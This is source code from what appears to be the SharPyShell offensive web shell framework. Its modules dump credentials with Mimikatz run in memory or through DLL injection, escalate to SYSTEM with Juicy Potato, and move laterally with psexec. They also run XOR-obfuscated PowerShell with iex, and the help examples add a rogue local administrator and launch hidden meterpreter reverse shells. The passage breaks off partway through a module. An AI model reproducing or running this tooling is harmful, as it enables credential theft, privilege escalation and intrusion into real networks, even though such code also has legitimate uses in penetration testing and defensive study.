def __init__(self, password, channel_enc_mode, module_settings, request_object): Module.__init__(self, password, channel_enc_mode, module_settings, request_object) self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object) self.ps_module_object = Exec_ps(password, channel_enc_mode, module_settings, request_object)
def __init__(self, password, channel_enc_mode, module_settings, request_object): Module.__init__(self, password, channel_enc_mode, module_settings, request_object) self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object) self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object) self.runas_module_object = Runas(password, channel_enc_mode, module_settings, request_object) self.invoke_ps_module_object = Invoke_ps_module( password, channel_enc_mode, module_settings, request_object) self.invoke_ps_as_module_object = Invoke_ps_module_as( password, channel_enc_mode, module_settings, request_object)
def __init__(self, password, channel_enc_mode, module_settings, request_object): Invoke_ps_module.__init__(self, password, channel_enc_mode, module_settings, request_object) self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object) self.runas_ps_object = Runas_ps(password, channel_enc_mode, module_settings, request_object)
class Mimikatz(Module): _exception_class = MimikatzModuleException short_help = "Run an offline version of mimikatz directly in memory" complete_help = r""" Authors: @gentilkiwi @PowerShellMafia Links: https://github.com/gentilkiwi/mimikatz https://github.com/PowerShellMafia/PowerSploit/blob/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1 Credits: @phra This module allows you to run mimikatz in a versatile way. Within this module it is possible to run mimikatz in 3 different ways: 'ps1': an obfuscated ps1 module will be uploaded to the server and get deobfuscated at runtime in memory; 'exe': the classic mimikatz binary will be uploaded to the server and run with arguments; 'dll': convert mimikatz dll into a position independent shellcode and inject into a remote process. It is recommended to run the ps1 version because it will be obfuscated and run from memory. The exe version will be just dropped as clear and could be catched by av scanners. The dll version is the most stealthy but it doesn't support impersonation atm. Usage: #mimikatz [exec_type] [username] [password] [domain] [custom_command] Positional arguments: exec_type execution type for running mimikatz: 'ps1' will upload and execute the powershell version of mimikatz 'exe' will upload and execute the classic version of binary mimikatz 'dll' will inject converted dll shellcode into a remote process Default: 'ps1' username username of the user to runas the process password password of the user to runas the process domain domain of the user to runas the process custom_command based on exec_type, the custom command could be: - 'ps1' : powershell code to add to the ps1 mimikatz module; - 'exe' : command line arguments to the mimikatz binary; - 'dll' : command line arguments to be executed. Default: 'ps1': ';Invoke-Mimikatz -DumpCreds' 'exe': 'privilege::debug sekurlsa::logonpasswords exit' 'dll': 'privilege::debug sekurlsa::logonpasswords exit' Examples: Run mimikatz as the current user #mimikatz Run mimikatz dll #mimikatz 'dll' Run mimikatz as a specific local user #mimikatz 'ps1' 'user1' 'password1' Run mimikatz as a specific domain user #mimikatz 'ps1' 'user1' 'password1' 'domain' Run exe version of mimikatz as the current user #mimikatz 'exe' Run exe version of mimikatz as a specific user #mimikatz 'exe' 'user1' 'password1' Run mimikatz with a custom command, i.e. dumping cert #mimikatz 'ps1' '' '' '' ';Invoke-Mimikatz -DumpCerts' Run mimikatz binary with a custom command, i.e. coffee :) #mimikatz 'exe' '' '' '' 'coffee exit' """ __default_exec_type = 'ps1' __default_username = '' __default_password = '' __default_domain = '' __default_ps_command = ';Invoke-Mimikatz -DumpCreds' __default_exe_command = 'privilege::debug sekurlsa::logonpasswords exit' def __init__(self, password, channel_enc_mode, module_settings, request_object): Module.__init__(self, password, channel_enc_mode, module_settings, request_object) self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object) self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object) self.runas_module_object = Runas(password, channel_enc_mode, module_settings, request_object) self.invoke_ps_module_object = Invoke_ps_module( password, channel_enc_mode, module_settings, request_object) self.invoke_ps_as_module_object = Invoke_ps_module_as( password, channel_enc_mode, module_settings, request_object) self.inject_dll_srdi_module_object = Inject_dll_srdi( password, channel_enc_mode, module_settings, request_object) def __parse_run_args(self, args): args_parser = {k: v for k, v in enumerate(args)} exec_type = args_parser.get(0, self.__default_exec_type) username = args_parser.get(1, self.__default_username) password = args_parser.get(2, self.__default_password) domain = args_parser.get(3, self.__default_domain) custom_command = args_parser.get( 4, self.__default_exe_command if exec_type != 'ps1' else self.__default_ps_command) return exec_type, username, password, domain, custom_command def __lookup_exe_binary(self): if 'mimikatz.exe' in self._module_settings.keys(): bin_path = self._module_settings['mimikatz.exe'] else: exe_path = config.modules_paths + 'exe_modules/mimikatz.exe' remote_upload_path = self._module_settings[ 'env_directory'] + '\\' + random_generator() + '.exe' print '\n\n\nUploading mimikatz binary....\n' upload_response = self._parse_response( self.upload_module_object.run([exe_path, remote_upload_path])) print upload_response self._module_settings['mimikatz.exe'] = remote_upload_path bin_path = remote_upload_path return bin_path def __run_exe_version(self, username, password, domain, custom_command): remote_upload_path = self.__lookup_exe_binary() if username == '': response = self.exec_cmd_module_object.run( ['""' + remote_upload_path + '""' + ' ' + custom_command]) else: response = self.runas_module_object.run([ remote_upload_path + ' ' + custom_command, username, password, domain ]) parsed_response = self._parse_response(response) return parsed_response def __run_dll_version(self, username, custom_command): dll_name = 'powerkatz.dll' exported_function_name = 'powershell_reflective_mimikatz' log_file = self._module_settings[ 'env_directory'] + '\\' + random_generator() exported_function_data = str( ('"log ' + log_file + '" ' + custom_command + '\x00').encode('utf-16-le')) if username == '': print '\n\nInjecting converted DLL shellcode into remote process...' response = self.inject_dll_srdi_module_object.run([ dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}', exported_function_name, exported_function_data ]) response = self._parse_response(response) response += '\nDLL injection executed!\n\n\nOutput of mimikatz:\n\n' response += self._parse_response( self.exec_cmd_module_object.run( ['type ' + log_file + ' & del /f /q ' + log_file])) else: raise self._exception_class( '#mimikatz: exec_type "dll" does not support the runas function atm\n' ) parsed_response = self._parse_response(response) return parsed_response def __run_ps_version(self, username, password, domain, custom_command): if username == '': response = self.invoke_ps_module_object.run( ['Invoke-Mimikatz.ps1', custom_command]) else: response = self.invoke_ps_as_module_object.run([ 'Invoke-Mimikatz.ps1', username, password, custom_command, domain ]) parsed_response = self._parse_response(response) return parsed_response def run(self, args): try: exec_type, username, password, domain, custom_command = self.__parse_run_args( args) if exec_type == 'exe': response = self.__run_exe_version(username, password, domain, custom_command) elif exec_type == 'dll': response = self.__run_dll_version(username, custom_command) else: response = self.__run_ps_version(username, password, domain, custom_command) parsed_response = self._parse_response(response) except ModuleException as module_exc: parsed_response = str(module_exc) except Exception: parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\ str(traceback.format_exc()) return parsed_response
class Invoke_ps_module(Module): _exception_class = InvokePsModuleModuleException short_help = "Run a ps1 script on the target server" complete_help = r""" This module upload and executes a powershell module that exists in the 'ps_modules/' SharPyShell directory. The ps1 module will be uploaded to the target server in an encrypted form and get decrypted at runtime in memory. It is possible to execute additional code to the uploaded module in order to use functions inside of it or add additional behaviours. Usage: #invoke_ps_module ps_module [appended_code] Positional arguments: ps_module name of a .ps1 module existent in the 'ps_modules/' directory appended_code powershell code to be run within the module uploaded Default: '' Examples: Upload and execute a simple module: #invoke_ps_module SharPyShell_Test.ps1 Upload and execute a module using function defined in it: #invoke_ps_module PowerUp.ps1 ';Invoke-AllChecks' """ _ps_code = ur""" $path_in_module="%s"; $path_in_app_code="%s"; $key=[System.Text.Encoding]::UTF8.GetBytes('%s'); $enc_module=[System.IO.File]::ReadAllBytes($path_in_module); $enc_app_code=[System.IO.File]::ReadAllBytes($path_in_app_code); $dec_module=New-Object Byte[] $enc_module.Length; $dec_app_code=New-Object Byte[] $enc_app_code.Length; for ($i = 0; $i -lt $enc_module.Length; $i++) { $dec_module[$i] = $enc_module[$i] -bxor $key[$i %% $key.Length]; }; for ($i = 0; $i -lt $enc_app_code.Length; $i++) { $dec_app_code[$i] = $enc_app_code[$i] -bxor $key[$i %% $key.Length]; }; $dec_module=[System.Text.Encoding]::UTF8.GetString($dec_module); $dec_app_code=[System.Text.Encoding]::UTF8.GetString($dec_app_code); $($dec_module+$dec_app_code)|iex; Remove-Item -Path $path_in_app_code -Force 2>&1 | Out-Null; """ _ps_code_no_appended_code = ur""" $path_in="%s"; $key=[System.Text.Encoding]::UTF8.GetBytes('%s'); $encrypted=[System.IO.File]::ReadAllBytes($path_in); $decrypted = New-Object Byte[] $encrypted.Length; for ($i = 0; $i -lt $encrypted.Length; $i++) { $decrypted[$i] = $encrypted[$i] -bxor $key[$i %% $key.Length]; }; [System.Text.Encoding]::UTF8.GetString($decrypted)|iex; """ __default_appended_code = '' def __init__(self, password, channel_enc_mode, module_settings, request_object): Module.__init__(self, password, channel_enc_mode, module_settings, request_object) self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object) self.ps_module_object = Exec_ps(password, channel_enc_mode, module_settings, request_object) def __parse_run_args(self, args): if len(args) < 1: raise self._exception_class( '#invoke_ps_module: Not enough arguments. 1 Argument required. \n' ) args_parser = {k: v for k, v in enumerate(args)} ps_module = args_parser.get(0) appended_code = args_parser.get(1, self.__default_appended_code) return ps_module, appended_code def __xor_bytearray(self, byte_array): key = self._password for i in range(len(byte_array)): byte_array[i] ^= ord(key[i % len(key)]) def __encrypt_ps_file(self, file_path): with open(file_path, 'rb') as ps_module_handle: byte_arr_ps_module = bytearray(ps_module_handle.read()) self.__xor_bytearray(byte_arr_ps_module) return byte_arr_ps_module def _gen_encrypted_module(self, ps_module): ps_module_path = config.modules_paths + 'ps_modules/' + ps_module ps_enc_module_path = ps_module_path + random_generator() byte_arr_ps_module_encrypted = self.__encrypt_ps_file(ps_module_path) with open(ps_enc_module_path, 'wb') as ps_module_enc_handle: ps_module_enc_handle.write(byte_arr_ps_module_encrypted) return ps_enc_module_path def _gen_appended_code(self, appended_code): if appended_code == '': return '' if '""' in appended_code: appended_code = appended_code.replace('""', '"') enc_appended_code_path = config.modules_paths + 'ps_modules/' + random_generator( ) byte_arr_app_module_encrypted = bytearray(appended_code) self.__xor_bytearray(byte_arr_app_module_encrypted) with open(enc_appended_code_path, 'wb') as file_handle: file_handle.write(byte_arr_app_module_encrypted) encrypted_app_code_path = self._module_settings[ 'env_directory'] + '\\' + random_generator() try: self._parse_response( self.upload_module_object.run( [enc_appended_code_path, encrypted_app_code_path])) except Exception as exc: raise self._exception_class(str(exc)) finally: if os.path.isfile(enc_appended_code_path): os.remove(enc_appended_code_path) return encrypted_app_code_path def _lookup_module(self, ps_module): if ps_module in self._module_settings.keys(): encrypted_module_path = self._module_settings[ps_module] else: local_encrypted_module_path = self._gen_encrypted_module(ps_module) print '\n\n\nUploading encrypted ps module....\n' try: encrypted_module_path = self._module_settings[ 'env_directory'] + '\\' + random_generator() upload_response = self._parse_response( self.upload_module_object.run( [local_encrypted_module_path, encrypted_module_path])) print upload_response self._module_settings[ps_module] = encrypted_module_path except Exception as exc: raise self._exception_class(str(exc)) finally: if os.path.isfile(local_encrypted_module_path): os.remove(local_encrypted_module_path) return encrypted_module_path def _create_request(self, args): enc_module_path = args[0] enc_appended_code = args[1] if enc_appended_code != '': ps_code = minify_code( self._ps_code % (enc_module_path, enc_appended_code, self._password)) else: ps_code = minify_code(self._ps_code_no_appended_code % (enc_module_path, self._password)) return ps_code def run(self, args): try: ps_module, appended_code = self.__parse_run_args(args) enc_module_path = self._lookup_module(ps_module) enc_appended_code_path = self._gen_appended_code(appended_code) ps_code = self._create_request( [enc_module_path, enc_appended_code_path]) parsed_response = self._parse_response( self.ps_module_object.run([ps_code])) parsed_response = '\n\n\nModule executed correctly:\n' + parsed_response except ModuleException as module_exc: parsed_response = str(module_exc) except Exception: parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' + str( traceback.format_exc()) return parsed_response
class Privesc_juicy_potato(Module): _exception_class = PrivescJuicyPotatoModuleException short_help = r"Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM" complete_help = r""" Juicy Potato is a Local Privilege Escalation tool that allows to escalate privileges from a Windows Service Accounts to NT AUTHORITY\SYSTEM. This permits to run an os command as the most privileged user 'NT AUTHORITY\SYSTEM'. It is needed that the service account running w3wp.exe has the permission of 'SeImpersonatePrivilege' enabled. You can check it with 'whoami /priv' This vulnerability is no longer exploitable with Windows Server 2019: https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/ Source Code: https://github.com/ohpe/juicy-potato Usage: #privesc_juicy_potato cmd [custom_args] Positional arguments: cmd command supported by cmd.exe custom_args command line parameters to be passed to juicy potato binary Default: ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p ' Examples: Add a new local admin: #privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1 & net localgroup Administrators admin_test /add' """ _runtime_code = ur""" using System;using System.IO;using System.Diagnostics;using System.Text; public class SharPyShell { string ExecCmd(string exe_path, string custom_args, string cmd, string working_path) { string cmd_path = Environment.GetEnvironmentVariable("ComSpec"); ProcessStartInfo pinfo = new ProcessStartInfo(); pinfo.FileName = exe_path; pinfo.Arguments = custom_args + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\""; pinfo.RedirectStandardOutput = true; pinfo.RedirectStandardError = true; pinfo.UseShellExecute = false; pinfo.WorkingDirectory = working_path; Process p = new Process(); try{ p = Process.Start(pinfo); } catch (Exception e){ return "{{{SharPyShellError}}}\n" + e; } StreamReader stmrdr_output = p.StandardOutput; StreamReader stmrdr_errors = p.StandardError; string output = ""; string stand_out = stmrdr_output.ReadToEnd(); string stand_errors = stmrdr_errors.ReadToEnd(); stmrdr_output.Close(); stmrdr_errors.Close(); if (!String.IsNullOrEmpty(stand_out)) output = output + stand_out; if (!String.IsNullOrEmpty(stand_errors)) output = "{{{SharPyShellError}}}\n" + output + stand_errors; return output; } public byte[] ExecRuntime() { string output_func=ExecCmd(@"%s", @"%s", @"%s", @"%s"); byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); return(output_func_byte); } } """ __default_custom_args = ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p ' def __init__(self, password, channel_enc_mode, module_settings, request_object): Module.__init__(self, password, channel_enc_mode, module_settings, request_object) self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object) self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object) def __parse_run_args(self, args): if len(args) < 1: raise self._exception_class( '#privesc_juicy_potato : Not enough arguments.1 Argument required. \n' ) args_parser = {k: v for k, v in enumerate(args)} cmd = args_parser.get(0) custom_args = args_parser.get(1, self.__default_custom_args) return cmd, custom_args def __lookup_binary(self): if 'JuicyPotato.exe' in self._module_settings.keys(): bin_path = self._module_settings['JuicyPotato.exe'] else: exe_path = config.modules_paths + 'exe_modules/JuicyPotato.exe' remote_upload_path = self._module_settings[ 'env_directory'] + '\\' + random_generator() + '.exe' print '\n\n\nUploading Juicy Potato binary....\n' upload_response = self._parse_response( self.upload_module_object.run([exe_path, remote_upload_path])) print upload_response self._module_settings['JuicyPotato.exe'] = remote_upload_path bin_path = remote_upload_path return bin_path def _create_request(self, args): exe_path, custom_args, cmd = args working_path = self._module_settings['working_directory'] return self._runtime_code % (exe_path, custom_args, cmd, working_path) def run(self, args): try: cmd, custom_args = self.__parse_run_args(args) upload_path = self.__lookup_binary() request = self._create_request([upload_path, custom_args, cmd]) encrypted_request = self._encrypt_request(request) encrypted_response = self._post_request(encrypted_request) decrypted_response = self._decrypt_response(encrypted_response) parsed_response = self._parse_response(decrypted_response) parsed_response = '\n\n\nModule executed correctly:\n' + parsed_response except ModuleException as module_exc: parsed_response = str(module_exc) except Exception: parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' + str( traceback.format_exc()) return parsed_response
class Lateral_psexec(Module): _exception_class = LateralPsexecModuleException short_help = "Run psexec binary to move laterally" complete_help = r""" This module upload and run the psexec binary in order to launch commands on a remote windows system. This will result in a lateral movement if shared credentials are known. Note that if you use local users credentials you should ensure that, on the target server, the feature "LocalAccountTokenFilterPolicy" is disabled. To disable that you need to add the following regkey with the value of 1: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy example command: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f If you use domain users for the lateral movement, no restrictions to the process token will be applied. This module should be run from a privileged user. If the application pool within the web application you are interacting with is run with application pool identity account or any limited account you won't be able to move laterally to other systems due to restrictions applied to the user. In those cases, you need to use different credentials of a more privileged user in order to launch this module. Usage: #lateral_psexec target_ip username password command [local_user] [local_password] [local_domain] Positional arguments: target_ip the ip of the remote server username username of the user to use to login on the target server you can specify domain\username if user is in a domain password password of the user to use to login on the target server command a command compatible by cmd.exe [runas_system] if set to 'true', it will try to run psexec as system on the target remote server Default: 'false' [local_user] the username of a local user with privileged rights [local_password] the password of a local user with privileged rights [local_domain] the domain of a local user with privileged rights Examples: Lateral movement as privileged current application pool user, output to local shared resource: #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192.168.56.101\everyone\output.txt' Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd): #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'local_privileged_user1' 'local_privileged_password1' Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd): #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1' Lateral movement as privileged domain user and as SYSTEM on remote machine using meterpreter http reverse shell (format psh-cmd): #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'true' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1' """ _runtime_code = ur""" using System;using System.IO;using System.Diagnostics;using System.Text; public class SharPyShell { string LateralPsexec(string psexec_path, string arg, string working_path) { ProcessStartInfo pinfo = new ProcessStartInfo(); pinfo.FileName = psexec_path; pinfo.Arguments = arg; pinfo.RedirectStandardOutput = true; pinfo.RedirectStandardError = true; pinfo.UseShellExecute = false; pinfo.WorkingDirectory = working_path; Process p = new Process(); try{ p = Process.Start(pinfo); } catch (Exception e){ return "{{{SharPyShellError}}}\n" + e; } StreamReader stmrdr_output = p.StandardOutput; StreamReader stmrdr_errors = p.StandardError; string output = ""; string stand_out = stmrdr_output.ReadToEnd(); string stand_errors = stmrdr_errors.ReadToEnd(); stmrdr_output.Close(); stmrdr_errors.Close(); if (!String.IsNullOrEmpty(stand_out)) output = output + stand_out; if (!String.IsNullOrEmpty(stand_errors)) output = output + "\n\n" + stand_errors + "\n"; return output; } public byte[] ExecRuntime() { string output_func=LateralPsexec(@"%s", @"%s", @"%s"); byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); return(output_func_byte); } } """ _runtime_code_runas = ur""" using System;using System.IO;using System.Diagnostics;using System.Text; using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution; public class SharPyShell { public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid { private SafeTokenHandle() : base(true) { } [DllImport("kernel32.dll")] [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] [SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CloseHandle(IntPtr handle); protected override bool ReleaseHandle() { return CloseHandle(handle); } } [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public int cb; public String lpReserved; public String lpDesktop; public String lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public int Length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; } [DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)] public static extern bool CloseHandle(IntPtr handle); [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken); [DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)] public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")] public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); const uint WAIT_ABANDONED = 0x00000080; const uint WAIT_OBJECT_0 = 0x00000000; const uint WAIT_TIMEOUT = 0x00000102; [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")] public string LateralPsexecRunas(string psexec_path, string userName, string password, string domainName, string psexec_arguments, string stdout_file, string stderr_file, string working_directory) { SafeTokenHandle safeTokenHandle; int logon_type = 4; uint process_ms_timeout = 60000; string output = ""; string error_string = "{{{SharPyShellError}}}"; try { const int LOGON32_PROVIDER_DEFAULT = 0; const int LOGON32_PROVIDER_WINNT35 = 1; const int LOGON32_PROVIDER_WINNT40 = 2; const int LOGON32_PROVIDER_WINNT50 = 3; bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle); if (false == returnValue) { output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error(); return output; } using (safeTokenHandle) { using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle())) { using (WindowsImpersonationContext impersonatedUser = newId.Impersonate()) { IntPtr Token = new IntPtr(0); IntPtr DupedToken = new IntPtr(0); bool ret; SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.bInheritHandle = false; sa.Length = Marshal.SizeOf(sa); sa.lpSecurityDescriptor = (IntPtr)0; Token = WindowsIdentity.GetCurrent().Token; const uint GENERIC_ALL = 0x10000000; const int SecurityImpersonation = 2; const int TokenType = 1; ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken); if (ret == false){ output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error(); return output; } STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = ""; string commandLinePath = ""; File.Create(stdout_file).Dispose(); File.Create(stderr_file).Dispose(); string cmd_path = commandLinePath = Environment.GetEnvironmentVariable("ComSpec"); commandLinePath = cmd_path + " /c " + psexec_path + " " + psexec_arguments + " >> " + stdout_file + " 2>>" + stderr_file; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi); if (ret == false){ output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error(); return output; } else{ uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout); if(wait_for == WAIT_OBJECT_0){ string errors = File.ReadAllText(stderr_file); if (!String.IsNullOrEmpty(errors)) output += "\n" + errors; output += "\n" + File.ReadAllText(stdout_file); } else{ output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error(); } File.Delete(stdout_file); File.Delete(stderr_file); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } CloseHandle(DupedToken); } } } } catch (Exception ex) { output += error_string + "\nException occurred. " + ex.Message; return output; } return output; } public byte[] ExecRuntime() { string output_func=LateralPsexecRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s"); byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); return(output_func_byte); } } """ __default_runas_system = 'false' __default_local_user = '' __default_local_password = '' __default_local_domain = '' __psexec_code_arguments = ur'-accepteula \\%s -u ""%s"" -p ""%s"" %s cmd /c ""%s""' def __init__(self, password, channel_enc_mode, module_settings, request_object): Module.__init__(self, password, channel_enc_mode, module_settings, request_object) self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object) def __lookup_psexec_binary(self): if 'psexec.exe' in self._module_settings.keys(): bin_path = self._module_settings['psexec.exe'] else: exe_path = config.modules_paths + 'exe_modules/psexec.exe' remote_upload_path = self._module_settings[ 'env_directory'] + '\\' + random_generator() + '.exe' print '\n\n\nUploading psexec binary....\n' upload_response = self._parse_response( self.upload_module_object.run([exe_path, remote_upload_path])) print upload_response self._module_settings['psexec.exe'] = remote_upload_path bin_path = remote_upload_path return bin_path def __run_as_current_user(self, psexec_path, psexec_code_arguments): request = self._create_request( [psexec_code_arguments, psexec_path, 'current_user']) encrypted_request = self._encrypt_request(request) encrypted_response = self._post_request(encrypted_request) decrypted_response = self._decrypt_response(encrypted_response) return decrypted_response def __run_as(self, psexec_path, psexec_code_arguments, local_user, local_password, local_domain): request = self._create_request( [[psexec_code_arguments, local_user, local_password, local_domain], psexec_path, 'runas']) encrypted_request = self._encrypt_request(request) encrypted_response = self._post_request(encrypted_request) decrypted_response = self._decrypt_response(encrypted_response) return decrypted_response def __parse_run_args(self, args): if len(args) < 4: raise self._exception_class( '#lateral_psexec: Not enough arguments. 4 Arguments required.\n' ) args_parser = {k: v for k, v in enumerate(args)} target_ip = args_parser.get(0) username = args_parser.get(1) password = args_parser.get(2) command = args_parser.get(3) runas_system = args_parser.get(4, self.__default_runas_system) local_user = args_parser.get(5, self.__default_local_user) local_password = args_parser.get(6, self.__default_local_password) local_domain = args_parser.get(7, self.__default_local_domain) return target_ip, username, password, command, runas_system, local_user, local_password, local_domain def _create_request(self, args): arguments, psexec_path, request_type = args working_path = self._module_settings['working_directory'] if request_type == 'runas': psexec_code_arguments, local_user, local_password, local_domain = arguments stdout_file = self._module_settings[ 'env_directory'] + '\\' + random_generator() stderr_file = self._module_settings[ 'env_directory'] + '\\' + random_generator() request = self._runtime_code_runas % ( psexec_path, local_user, local_password, local_domain, psexec_code_arguments, stdout_file, stderr_file, working_path) else: psexec_code_arguments = arguments request = self._runtime_code % (psexec_path, psexec_code_arguments, working_path) return request def run(self, args): try: target_ip, username, password, command, runas_system,\ local_user, local_password, local_domain = self.__parse_run_args(args) psexec_priv_flag = '-s' if runas_system == 'true' else '-h' psexec_code_arguments = self.__psexec_code_arguments % ( target_ip, username, password, psexec_priv_flag, command) psexec_path = self.__lookup_psexec_binary() if local_user == '': response = self.__run_as_current_user(psexec_path, psexec_code_arguments) else: response = self.__run_as(psexec_path, psexec_code_arguments, local_user, local_password, local_domain) parsed_response = self._parse_response(response) except ModuleException as module_exc: parsed_response = str(module_exc) except Exception: parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\ str(traceback.format_exc()) return parsed_response
class Privesc_juicy_potato(Module): _exception_class = PrivescJuicyPotatoModuleException short_help = r"Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM" complete_help = r""" Authors: @decoder @ohpe @phra @lupman Links: https://github.com/ohpe/juicy-potato https://github.com/phra/metasploit-framework/blob/e69d509bdf5c955e673be44b8d87b915272836d9/modules/exploits/windows/local/ms16_075_reflection_juicy.rb Juicy Potato is a Local Privilege Escalation tool that allows to escalate privileges from a Windows Service Accounts to NT AUTHORITY\SYSTEM. This permits to run an os command as the most privileged user 'NT AUTHORITY\SYSTEM'. It is needed that the service account running w3wp.exe has the permission of 'SeImpersonatePrivilege' enabled. You can check it with 'whoami /priv' This vulnerability is no longer exploitable with Windows Server 2019: https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/ Usage: #privesc_juicy_potato cmd [exec_type] [clsid] [custom_shellcode_path] Positional arguments: cmd command supported by cmd.exe exec_type Type of execution of juicy potato, values can be: - 'reflective_dll' - 'exe' Default: 'reflective_dll' clsid target CLSID to reflect Default: '{4991d34b-80a1-4291-83b6-3328366b9097}' (BITS) custom_shellcode_path path to a file containing shellcode (format raw) if set, this module will ignore 'cmd' argument Default: 'default' Examples: Add a new local admin: #privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1_2_3! /Y & net localgroup Administrators admin_test /add' Run juicy reflecting a custom COM CLSID: #privesc_juicy_potato 'echo custom_clsid > C:\windows\temp\custom_clsid.txt' 'reflective_dll' '{752073A1-23F2-4396-85F0-8FDB879ED0ED}' Run whoami with the classic Juicy Potato binary: #privesc_juicy_potato 'whoami > C:\windows\temp\whoami_juicy.txt' 'exe' """ _runtime_code = ur""" using System;using System.IO;using System.Diagnostics;using System.Text; public class SharPyShell { string ExecCmd(string exe_path, string arguments, string cmd, string working_path) { string cmd_path = 